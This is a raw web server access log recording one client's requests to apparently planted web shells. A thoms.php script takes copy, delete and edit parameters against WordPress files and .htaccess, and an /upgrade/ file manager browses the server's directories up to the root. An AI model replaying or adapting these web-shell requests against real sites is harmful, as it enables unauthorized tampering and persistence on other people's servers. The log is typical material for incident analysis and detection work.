45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fuser-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcredits.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcredits.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=custom-background.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=plugin-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=admin-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /bfl.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?del=widgets.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /bfl.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fincludes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ferase-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?edit=wp-login.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?edit=wp-signup.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Ftxets.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftxets.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11070 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Ftxets.php&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftxets.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7891 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Ftxets.php&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftxets.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5757 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6747 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/admin.php?k=t HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /upgrade/admin.php?k=u HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Fpostnews.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fpostnews.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Fpostnews.php&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fpostnews.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:48 -0400] "GET /thoms.php?copy=upgrade%2Fpostnews.php&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fpostnews.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=postnews.php&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=postnews.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=postnews.php&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=postnews.php&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=termps.php&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=termps.php&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=termps.php&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=termps.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?copy=upgrade%2Ftermps.php&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftermps.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?copy=upgrade%2Ftermps.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftermps.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?copy=upgrade%2Ftermps.php&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftermps.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=admin.php&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=admin.php&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=admin.php&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=admin.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=.htaccess&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=index.php&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=index.php&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=txets.php&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=txets.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?edit=txets.php&env=ace&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=txets.php&env=ace&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?copy=upgrade%2F.htaccess&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2F.htaccess&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:49 -0400] "GET /thoms.php?copy=upgrade%2F.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /thoms.php?copy=upgrade%2F.htaccess&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade%2F.htaccess&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 200 6779 "https://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 33865 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 47628 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7919 "https://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file HTTP/1.1" 200 6780 "https://163.245.207.76:443/upgrade?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 28726 "https://163.245.207.76:443/upgrade?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5784 "https://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11073 "https://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:50 -0400] "GET /upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
